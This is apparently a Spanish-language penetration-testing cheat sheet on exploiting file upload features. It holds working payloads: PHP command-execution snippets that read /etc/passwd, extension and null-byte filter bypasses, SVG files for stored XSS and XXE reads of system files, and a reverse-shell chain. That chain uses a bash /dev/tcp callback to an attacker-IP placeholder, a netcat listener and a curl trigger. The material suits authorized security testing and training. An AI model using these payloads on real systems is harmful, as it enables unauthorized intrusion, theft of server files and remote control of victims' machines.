File upload
General
1) Realizar carga de archivo e identificar:
Lugar de almacenamiento o ubicación donde es utilizado el archivo.
Fuzzing de directorios.
Forzar mensajes de error.
Cargando un archivo con un nombre existente.
Enviar dos solicitudes idénticas simultáneamente.
Cargar un archivo con un nombre demasiado largo, por ejemplo de 5000 caracteres.
Nombre con el cual es guardado el archivo.
2) Identificar la tecnología utilizada.
3) Comprobar la ejecución de comandos.
# PHP
<?php echo "test"; ?>
<?php system("hostname"); ?>
<?php echo file_get_contents("/etc/passwd"); ?>
4) Subida de web shells y reverse shells.
Bypass de filtros
Validación del lado del cliente
Utilizar funcionalidad de "anulaciones locales" de las "herramientas para desarrolladores" del navegador.
Validación de extensiones con lista negra (blacklist) y blanca (whitelist)
Identificar extensiones permitidas realizando fuzzing.
Listas de extensiones web comunes:
Burp Suite -> Intruder -> Payload options -> Extensions list
Doble extensión
Si .jpg
es una extensión permitida se agrega al final del nombre del archivo seguido por la extensión del archivo a ejecutar, por ejemplo: shell.jpg.php
.
Doble extensión inversa
Si .jpg
es una extensión permitida se mantiene al final del nombre del archivo y se antepone a esta la extensión del archivo a ejecutar, por ejemplo: shell.php.jpg
.
Caracteres especiales
%20
%0a
%00
%0d0a
/
.\
.
…
:
Validación de tipo de contenido (Content-Type)
Identificar los tipos de contenido (Content-Type
) permitidos realizando fuzzing.
Listas de tipos de contenido (Content-Type
) web:
Validación de MIME-Type
Identificar los MIME-Type permitidos realizando fuzzing.
Listas de MIME-Type de archivos:
Desde file upload a otras vulnerabilidades
SVG
Cross-site scripting (XSS)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert("Stored (Persistent) XSS");</script>
</svg>
XML external entity (XXE)
Lectura de archivo general.
# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<svg>&xxe;</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="128px" height="128px">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]>
<svg>&xxe;</svg>
Lectura de archivo PHP.
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<file>">]>
<svg>&xxe;</svg>
ZIP
Reverse shell
Creación de reverse shell.
<?php system("bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'"); ?>
Generación de archivo .zip
con reverse shell.
zip reverseshell.zip reverseshell.php
Ejecución de Netcat en máquina atacante en modo escucha.
nc -lvnp <listen-port>
Subir el archivo reverseshell.zip
al servidor web objetivo, revisar si el archivo es descomprimido y ejecutar la reverse shell.
curl http://<target>/reverseshell.php
Última actualización
¿Te fue útil?